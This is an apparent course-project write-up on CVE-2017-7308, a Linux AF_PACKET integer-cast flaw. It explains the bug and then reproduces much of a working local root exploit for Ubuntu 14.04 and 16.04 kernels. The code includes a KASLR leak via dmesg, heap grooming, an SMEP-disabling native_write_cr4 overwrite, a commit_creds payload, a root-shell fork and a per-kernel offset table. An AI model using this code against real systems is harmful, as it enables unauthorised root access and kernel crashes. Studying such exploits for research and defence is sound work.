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Introduction 

The vulnerability CVE-2017-7308 is a signed integer casting issue, which does not properly validate the range of 

casted value. The vulnerability may be exploited to perform out-of-bounds writing operations on kernel memory. 

Out-of-bound writes can be used for hijacking kernel mode function pointers to execute arbitrary code, which can 

cause illegal privilege escalation under certain conditions, and/or denial of service on all systems running Linux 

kernel version prior to 4.10.6. 

CVE-2017-7308 was introduced in 2011 with the implementation of TPACKET_V3 ring buffers1. Developers did 

realize that the integer casting can be vulnerable, and they have attempted2 to patch the vulnerability in 2014 by 

adding range checks to the parameters, but that did not fix the vulnerability. CVE-2017-7308 was finally patched 

in March 20173. 

Since packet socket is a widely used kernel feature, CVE-2017-7308 affects many popular Linux distributions 

including Ubuntu and Android. The vulnerability affects all kernels with AF_PACKET sockets enabled. For many 

Linux kernel distributions, this flag CONFIG_PACKET=y is enabled at compile. Exploitation requires the 

CAP_NET_RAW privilege to create vulnerable AF_PACKET sockets. This can be done if the CAP_NET_RAW 

privilege can be virtualized in an isolated namespace, which is available on many Linux distributions 

(CONFIG_USER_NS=y). 

 

Ring Buffer 

AF_PACKET socket allows users to send or receive packets on the device driver level. This allows users to 

implement their own protocol on top of the physical layer. To send and receive packets on a packet socket, a 

process can use the send and recv syscalls. However, AF_PACKET socket provides a much faster way by 

introducing a ring buffer, which is a shared memory region between the kernel and the user space, so data can be 

read from or written directly to it without having to copy to another memory region. 

 

                                                      
1 #f6fb8f10 "af-packet: TPACKET_V3 flexible buffer implementation" 

https://github.com/torvalds/linux/commit/f6fb8f100b807378fda19e83e5ac6828b638603a 

 

2 #dc808110 "packet: handle too big packets for PACKET_V3" 

https://github.com/torvalds/linux/commit/dc808110bb62b64a448696ecac3938902c92e1ab 

 

3 #2b6867c2 "net/packet: fix overflow in check for priv area size") 

https://github.com/torvalds/linux/commit/2b6867c2ce76c596676bec7d2d525af525fdc6e2 

 

https://github.com/torvalds/linux/commit/f6fb8f100b807378fda19e83e5ac6828b638603a
https://github.com/torvalds/linux/commit/dc808110bb62b64a448696ecac3938902c92e1ab
https://github.com/torvalds/linux/commit/2b6867c2ce76c596676bec7d2d525af525fdc6e2
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The usual workflow of sharing the region is that the kernel stores packets into 

a block. When the block is full, kernel sets the block_status to 

TP_STATUS_USER, which indicates the block is now available for user space. 

Then user application reads data from the block and flips the block_status 

to release the block back to the kernel. 

When a packet does not fit into the remaining space, a block is considered full. 

The block will be closed and released to user space, in another word, the 

block will be “retired” by the kernel. However, for faster access to the packets, 

the kernel can release a block earlier even if it’s not full by using a timer to 

retire the block in an interval. When the timer times out, it calls a kernel space 

function in kernel mode to retire the block. 

Since this timeout retiring function will be called periodically, its function 

pointer becomes a perfect hijack candidate. However, we need a way to hijack 

this function pointer. 

Each received packet is stored in a separate frame. Several frames make a 

block. In TPACKET_V3, the frame size of ring buffer is not fixed, and can 

have arbitrary value as long as a frame fits into a block. 

To create a TPACKET_V3 ring buffer via the PACKET_RX_RING socket option, 

user needs to provide the parameters for the ring buffer, which includes the 

number of blocks, and size of each frame. 

The memory diagram on the right shows the memory layout of a block. In every block, there is a region called 

private area. This area is reserved for the user to store any information associated with the block, and the 

kernel will not touch this area. The size of this private area is passed by the tp_sizeof_priv parameter. The 

vulnerability is introduced here, where the function that creates private area fails to validate the size of private 

area. 

 

Vulnerability 

The code snippet below is used for ensuring the size of a block (block header + private area + all frames) is 

smaller than the size of a block. However, if we look at the code carefully we will see a bug here.  

 4207  if (po->tp_version >= TPACKET_V3 && 

 4208      (int)(req->tp_block_size - 

 4209      BLK_PLUS_PRIV(req_u->req3.tp_sizeof_priv)) <= 0) 

 4210    goto out; 

In normal circumstances, req->tp_block_size should be larger than the total size of everything it contains. In 

the case that something went out of bound the second condition of the if statement will be true, and the goto out; 

instruction will be executed. However, due to the definition of signed integer, in the case that the MSB (most 

significant bit) of req_u->req3.tp_sizeof_priv becomes 1, it becomes a negative number. A positive 
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number subtracts a negative number is essentially adding its absolute value, which will give us a very large 

positive number, very close to the border where it becomes a negative number, but it is still positive. Now casting 

the expression to int gives us a positive value, which makes the second condition false. As a result, the goto 

out; instruction is not executed. 

The snippet below demonstrates how the int casting goes wrong. 

 
req->tp_block_size = 4096 = 0x1000 

req_u->req3.tp_sizeof_priv = (1 << 31) + 4096 = 0x80000000 + 0x00001000 = 0x80001000 

BLK_PLUS_PRIV(req_u->req3.tp_sizeof_priv)     = 0x80001000 + 0x00000030 = 0x80001030 

req->tp_block_size - BLK_PLUS_PRIV()          = 0x00001000 - 0x80001030 = 0x7fffffd0 

(int)0x7fffffd0 = 0x7fffffd0 > 0 

 

This bug can be exploited to create a block that has incorrect size, which allows out-of-bound read/write to a 

small region that has a memory address larger than the block’s memory address. If we create many blocks like 

this, we can fill the 64K byte kernel cache with these vulnerable blocks. 

When receiving packets, the AF_PACKET subsystem will fill all these blocks and retire them occasionally. 

However, when it fills the block, it does not have the correct size, which means it will write out of bound, and will 

eventually rewrite the retiring function pointer mentioned above with data in received packets. By receiving 

specially crafted packets, we can replace the retiring timer function pointer with a pointer to our malicious 

function. 

The function at the function pointer gets executed in kernel mode, which means we cannot simply hijack the 

retiring timer with some user mode code. Such operation will trigger SMEP and SMAP protection mechanism on 

the CPU. We must disable them first. 

 

SMEP and SMAP 

Supervisor Mode Execution Protection (SMEP) and Supervisor Mode Access Prevention (SMAP) are CPU 

features that that prevent executing or accessing user space functions/data from the kernel. When these two flags 

are set, the kernel will not be able to execute any user space functions, so SMEP and SMAP must be disabled 

before we execute the user space function that gets us the root privilege. 

The SMEP and SMAP is controlled by the 20th and 21st bits of the CR4 register on current CPU core. Change 

these two bits to 0 will disable them. For this we can use the func(data) primitive to call the kernel mode 

function native_write_cr4(X), where X is a binary number that has 20th and 21st bits set to 0. 

After disabling SMEP, there should be no more protection against executing user space function in kernel mode. 
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Exploit 

There is a proof-of-concept on this exploit developed by a Software Engineer from Google, Andrey Konovalov. 

His PoC works on Ubuntu 16.04.2 with the kernel version 4.8.0-41. 

In this project, our goal is to exploit other versions of Linux kernel, and get root using the same vulnerability. This 

involves bypassing Address Space Layout Randomization in different kernel versions, finding corresponding 

offsets of CRED structs / functions for different versions, and finding the X value to overwrite CPU control register. 

 

Setup a Namespace to Isolate the Process and Virtualize Privilege 

Normally, an AF_PACKET socket cannot be created by unprivileged user, but if namespace is available to 

unprivileged user, it is possible to create such socket within a namespace. 

Namespace is a feature of the Linux kernel that isolate and virtualize system resources of a process. Resources 

such as process ID, hostname, user ID, network access, inter-process communication, and filesystem can all be 

virtualized within a namespace. 

In this project, namespace is required for virtualizing the privilege used for creating AF_PACKET sockets. 

Namespace is also used for isolating the network access, to prevent ambient socket traffic from ruining the 

carefully constructed kernel heap. We are also restricting the exploit program to be executed on only one CPU 

core using sched_setaffinity(), so we can make sure our SMEP disabler payload will be executed on the 

core that we run the exploit. 

We used the original code from PoC to setup the namespace. 

 

Kernel Address Space Layout Randomization 

Address Space Layout Randomization is a memory-protection process for operating systems to prevent buffer-

overflow attacks, by randomizing the location where executables are loaded into memory. 

Since ASLR is enabled by default on all Linux distros, the first challenge is to find out the real KERNEL_BASE 

before we can even think about tempering the kernel memory. 

This is a vital part of exploiting the kernel. At first, we thought that the Kernel ASLR will randomize everything 

from the whole kernel memory to individual kernel function address. Since this is a course project, we did not 

have time to read through the kernel code to calculate the offsets, we opt for compiling the kernel with debug 

flags. 

After checking the function offsets, we learned that the KASLR are simpler than we had imagined. Instead of 

randomizing addresses for individual functions, it simply put kernel memory in random address in the memory 

and keeps the function pointer offset relative to the base unchanged, so that the kernel will not have any trouble 
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finding the functions. This means if we can find out the base kernel memory address, we should be able to 

calculate the offset for kernel functions with the help of debugging tool. 

Luckily, the base kernel memory address can be found by analyzing the message buffer of the kernel (from 

dmesg). For major kernel versions 4.8.0-41 on Ubuntu 16.04, the get_kernel_addr() function written by PoC 

author can successfully locate kernel memory and calculate its address. Buy for other kernel versions it does not 

work. The kernel message buffer format has changed, and the locating anchors are also different, so we had to 

create functions with different signatures for different kernel versions.  

 468  unsigned long get_kernel_addr_xenial(char* buffer, int size) { 

 469   printf("[.] xenial detected, using get_kernel_addr_xenial()\n"); 

 470   const char* needle1 = "Freeing unused"; 

 471   char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1)); 

 472   if (substr == NULL) { 

 473       fprintf(stderr, "[-] substring '%s' not found in dmesg\n", needle1); 

 474       exit(EXIT_FAILURE); 

 475   } 

 476    

 477   int start = 0; 

 478   int end = 0; 

 479   for (start = 0; substr[start] != '-'; start++); 

 480   for (end = start; substr[end] != '\n'; end++); 

 481    

 482   const char* needle2 = "ffffff"; 

 483   substr = (char*)memmem(&substr[start],end-start,needle2,strlen(needle2)); 

 484   if (substr == NULL) { 

 485       fprintf(stderr, "[-] substring '%s' not found in dmesg\n", needle2); 

 486       exit(EXIT_FAILURE); 

 487   } 

 488    

 489   char* endptr = &substr[16]; 

 490   unsigned long r = strtoul(&substr[0], &endptr, 16); 

 491    

 492   r &= 0xfffffffffff00000ul; 

 493   r -= 0x1000000ul; 

 494    

 495   return r; 

 496  } 

 497    

 498  unsigned long get_kernel_addr() { 

 499   char* syslog; 

 500   int size; 

 501   mmap_syslog(&syslog, &size); 

 502    

 503   if (strcmp("trusty", kernels[kernel].distro) == 0 && 

 504       strncmp("4.4.0", kernels[kernel].version, 5) == 0) 

 505       return get_kernel_addr_trusty(syslog, size); 

 506   if (strcmp("xenial", kernels[kernel].distro) == 0 && 

 507       strncmp("4.8.0", kernels[kernel].version, 5) == 0) 

 508       return get_kernel_addr_xenial(syslog, size); 

 509    

 510   printf("[-] distro not supported\n"); 

 511   exit(EXIT_FAILURE); 

 512  } 

The code snippet only shows function for 16.04 (Xenial). 

get_kernel_addr() for other distros (including 14.04 Trusty) are available in the source code. 

Now we have the base address for kernel memory. It is time to prepare the memory for exploit. 
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Prepare Kernel Memory with Vulnerable Sockets 

The idea of the exploit is to use the kernel heap out-of-bounds write to overwrite a timer function pointer in the 

memory adjacent to the overflown block. One way to do this is to fill the heap with vulnerable blocks explained 

above, so some block with a triggerable function pointer is placed right after a ring buffer block for overwrite. 

kmalloc_pad(512) calls this function to create sockets to exhaust the existing slabs in the kmalloc cache.  

 233  int packet_sock_kmalloc() { 

 234    int s = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP)); 

 235    … 

 240  } 

Now that the kernel cache is exhausted, allocating more page blocks will drain the page allocator freelist and 

cause some page block to be split.  pagealloc_pad(1024) will create packet sockets with a ring buffer with 

1024 blocks of size 0x8000. 

 331 void pagealloc_pad(int count) { 

 332   packet_socket_setup(0x8000, 2048, count, 0, 100); 

 333 } 

  

 181  int packet_socket_setup(unsigned int block_size, unsigned int frame_size, 

 182    unsigned int block_nr, unsigned int sizeof_priv, int timeout) { 

 183    int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL)); 

 188    … 

 189    packet_socket_rx_ring_init(s, block_size, frame_size, block_nr, 

 190   sizeof_priv, timeout); 

 191    

 192    struct sockaddr_ll sa; 

 193    memset(&sa, 0, sizeof(sa)); 

 194    sa.sll_family = PF_PACKET; 

 195    sa.sll_protocol = htons(ETH_P_ALL); 

 196    sa.sll_ifindex = if_nametoindex("lo"); 

 197    sa.sll_hatype = 0; 

 198    sa.sll_pkttype = 0; 

 199    sa.sll_halen = 0; 

 200    

 201    int rv = bind(s, (struct sockaddr *)&sa, sizeof(sa)); 

 206    … 

 207    return s; 

 208  } 

After padding the memory, we create a vulnerable socket which will be used for overflowing the blocks into other 

sockets and overwrite their function pointers. 
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Overflowing the Blocks 

The original PoC author has chosen to use two function pointers in the 

packet_sock struct. 

• packet_sock->xmit 

• packet_sock->rx_ring-> 

prb_bdqc->retire_blk_timer->func 

Since the implementation of packet_sock has not changed, their 

function pointer offsets are the same in different distros. Thus, we can 

use 896 as the offset for retire_blk_timer, and 1304 for xmit for 

different distros. These numbers can be calculated by counting bytes in 

the memory layout using the definition of packet_sock struct from 

https://elixir.bootlin.com/linux/v4.8/source/net/packet/internal.h#L103,  

struct packet_sock { 

  ... 

  struct packet_ring_buffer rx_ring;     

  ... 

  unsigned int    tp_tx_has_off:1;      // 2 bytes 

  unsigned int    tp_tstamp;            // 2 bytes 

  struct net_device __rcu *cached_dev;  // +1304 

  int     (*xmit)(struct sk_buff *skb);  

  struct packet_type  prot_hook ____cacheline_aligned_in_smp; 

}; 

 

packet_sock-xmit is called when a user sends a packet via the socket. If we overwrite this function pointer and 

make it point to the executable memory region, for example, the commit_creds(prepare_kernel_cred(0)). 

However, SMEP and SMAP will prevent the kernel from accessing and executing user memory directly, so we 

need to disable SMEP and SMAP first. 

 

Disable SMEP and SMAP 

Before we send the real get_root_payload(), the CPU SMEP on CR4 has to be disabled. For this, construct an out-

of-bound write to hijack a function pointer and point it to the native_write_cr4() function. This function is a 

kernel function, so it should run without getting trapped. 

Depending on the state of other features on the CPU, the value of X will be different. We checked and found that 

our test environment has an Intel Core Sandy-Bridge CPU, which does not support SMAP. As a result, we can use 

the value 0x407f0 as our X to disable SMEP4. 

 

 704    oob_timer_execute((void *)(KERNEL_BASE + kernels[kernel].NATIVE_WRITE_CR4), CR4_DESIRED_VALUE); 

                                                      
4 0x407f0 = 0b0000000001000000011111110000 

https://elixir.bootlin.com/linux/v4.8/source/net/packet/internal.h#L103
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 280  void oob_timer_execute(void *func, unsigned long arg) { 

 281    oob_setup(2048 + TIMER_OFFSET - 8); 

 282    

 283    int i; 

 284    for (i = 0; i < 32; i++) { 

 285   int timer = packet_sock_kmalloc(); 

 286   packet_sock_timer_schedule(timer, 1000); 

 287    } 

 288    

 289    char buffer[2048]; 

 290    memset(&buffer[0], 0, sizeof(buffer)); 

 291    

 292    struct timer_list *timer = (struct timer_list *)&buffer[8]; 

 293    timer->function = func; 

 294    timer->data = arg; 

 295    timer->flags = 1; 

 296    

 297    oob_write(&buffer[0] + 2, sizeof(*timer) + 8 - 2); 

 298    

 299    sleep(1); 

 300  } 

Here we create vulnerable socket (oob_setup()) and 

overflow the block by sending loopback packets  

(oob_write()). All the packets will be received by the 

vulnerable socket and cause out-of-bound write, which will 

overwrite the function pointer of packet_sock-

>rx_ring->prb_bdqc->retire_blk_timer->func. 

When the CPU retires the block, the function at the function 

pointer, which is now overwritten with the address of 

native_write_cr4(), will be executed, and SMEP will then be 

disabled on current core. 

 

Get Root 

In the stack of a process, there is a cred struct which keeps 

track of the real_uid, real_gid, effective_uid, and 

effective_gid. If we were able to modify the real_uid 

in the cred struct, we can make the system believe the 

process is started as another user. 

At first, we did not realize that we can use kernel mode functions commit_creds and prepare_kernel_cred, 

so we are thinking to overwrite the whole cred struct with 0s. Since the root user has both uid and gid = 0, it 

makes things easy because we can overwrite the cred struct with a bunch of 0s without having to calculate the 

exact offset. Definition of cred struct https://elixir.bootlin.com/linux/latest/source/include/linux/cred.h. 

struct cred { 

  atomic_t  usage;  // <= headache calculating the size of this 

  kuid_t    uid;    /* real UID of the task */ 

  kgid_t    gid;    /* real GID of the task */ 

  kuid_t    suid;   /* saved UID of the task */ 

  kgid_t    sgid;   /* saved GID of the task */ 

  kuid_t    euid;   /* effective UID of the task */ 

https://elixir.bootlin.com/linux/latest/source/include/linux/cred.h
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  kgid_t    egid;   /* effective GID of the task */ 

  kuid_t    fsuid;    /* UID for VFS ops */ 

  kgid_t    fsgid;    /* GID for VFS ops */ 

  unsigned  securebits; /* SUID-less security management */ 

  kernel_cap_t  cap_inheritable; /* caps our children can inherit */ 

Later, we realized that we are in kernel mode, so we should be able to execute those kernel functions to modify 

the CRED struct without destroying anything else in the user space memory, so we changed our code to use kernel 

space function instead of user space functions. 

After disabling the SMEP, we can create another vulnerable socket and send our get_root packets to overflow the 

block and overwrite the packet_sock->xmit to make it point to the function 

commit_creds(prepare_kernel_cred(0)) which writes 0 to the CRED struct of the process. 

 709    oob_id_match_execute((void *)&get_root_payload); 

 

 344  void get_root_payload(void) { 

 345    ((_commit_creds)(KERNEL_BASE + kernels[kernel].COMMIT_CREDS))( 

 346   ((_prepare_kernel_cred)(KERNEL_BASE + kernels[kernel].PREPARE_KERNEL_CRED))(0) 

 347    ); 

 348  } 

After this, the cred struct should be already modified with uid=0. So we are effectively running the exploit 

program as the root user now. 

 549  bool is_root() { 

 550    // We can't simple check uid, since we're running inside a namespace 

 551    // with uid set to 0. Try opening /etc/shadow instead. 

 552    int fd = open("/etc/shadow", O_RDONLY); 

 553    if (fd == -1) 

 554   return false; 

 555    close(fd); 

 556    return true; 

 557  } 

 558    

 559  void check_root() { 

 560    printf("[.] checking if we got root\n"); 

 561    

 562    if (!is_root()) { 

 563   printf("[-] something went wrong =(\n"); 

 565   exit(0); 

 567   return; 

 568    } 

 569    

 570    printf("[+] got r00t ^_^\n"); 

 571    

 572    // Fork and exec instead of just doing the exec to avoid potential 

 573    // memory corruptions when closing packet sockets. 

 574    fork_shell(); 

 575  } 

Check for the permissions and fork a root shell. 
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Port to Other Kernel Versions 

For porting to other kernel versions, we commented out those hard-coded offsets. Instead, use an array of struct to 

store the different offsets from different kernel versions. These kernel offsets are obtained from the PoC of the 

same author’s CVE-2017-1000112 exploit. 

  75  // Kernel symbol offsets 

  76  // #define NATIVE_WRITE_CR4 0x64210ul 

  77  // #define COMMIT_CREDS     0xa5cf0ul 

  78  // #define PREPARE_KERNEL_CRED 0xa60e0ul 

  79    

  80  int kernel = 0; 

  81    

  82  struct kernel_offset { 

  83    const char* distro; 

  84    const char* version; 

  85    uint32_t COMMIT_CREDS; 

  86    uint32_t PREPARE_KERNEL_CRED; 

  87    uint32_t NATIVE_WRITE_CR4; 

  88  }; 

  89    

  90  struct kernel_offset kernels[] = { 

  91    // distro,  version,             COMMIT_CREDS, PREPARE_KERNEL_CRED, NATIVE_WRITE_CR4 

  92    { "trusty", "4.4.0-31-generic",  0x9d760ul,    0x9da40ul,        0x612f0ul }, 

  93    { "trusty", "4.4.0-75-generic",  0x9eb60ul,    0x9ee40ul,        0x62330ul }, 

  94    { "trusty", "4.4.0-79-generic",  0x9ebb0ul,    0x9ee90ul,        0x62330ul }, 

  95    { "trusty", "4.4.0-81-generic",  0x9ebb0ul,    0x9ee90ul,        0x62330ul }, 

  96    { "trusty", "4.4.0-83-generic",  0x9ebc0ul,    0x9eea0ul,        0x62360ul }, 

  97    // distro,  version,             COMMIT_CREDS, PREPARE_KERNEL_CRED, NATIVE_WRITE_CR4 

  98    { "xenial", "4.8.0-34-generic",  0xa5d50ul,    0xa6140ul,        0x64210ul }, 

  99    { "xenial", "4.8.0-36-generic",  0xa5d50ul,    0xa6140ul,        0x64210ul }, 

 100    { "xenial", "4.8.0-39-generic",  0xa5cf0ul,    0xa60e0ul,        0x64210ul }, 

 101    { "xenial", "4.8.0-41-generic",  0xa5cf0ul,    0xa60e0ul,        0x64210ul }, 

 102    { "xenial", "4.8.0-42-generic",  0xa5cf0ul,    0xa60e0ul,        0x64210ul }, 

 103    { "xenial", "4.8.0-44-generic",  0xa5cf0ul,    0xa60e0ul,        0x64210ul }, 

 104    { "xenial", "4.8.0-45-generic",  0xa5cf0ul,    0xa60e0ul,        0x64210ul }, 

 105    // Not tested 

 106  //{ "xenial", "4.8.0-46-generic",  0xa5cf0ul,    0xa60e0ul,        0x64210ul }, 

 107  //{ "xenial", "4.8.0-49-generic",  0xa5d00ul,    0xa60f0ul,        0x64210ul }, 

 108  //{ "xenial", "4.8.0-52-generic",  0xa5d00ul,    0xa60f0ul,        0x64210ul }, 

 109  //{ "xenial", "4.8.0-54-generic",  0xa5d00ul,    0xa60f0ul,        0x64210ul }, 

 110  //{ "xenial", "4.8.0-56-generic",  0xa5d00ul,    0xa60f0ul,        0x64210ul }, 

 111  //{ "xenial", "4.8.0-58-generic",  0xa5d20ul,    0xa6110ul,        0x64210ul }, 

 112  }; 

When sending the get_root_payload replace the offset from the original macro with the offset from the struct 

array. The port successfully acquires root privilege on kernel versions 4.4.0-31 ~ 4.8.0-45. 

This exploit does not always successfully escalate privilege. Often it will freeze the system or cause kernel panic 

due to kernel accessing corrupted memory. So, at best, the exploit will get root privilege, and at worst, it will deny 

service. 
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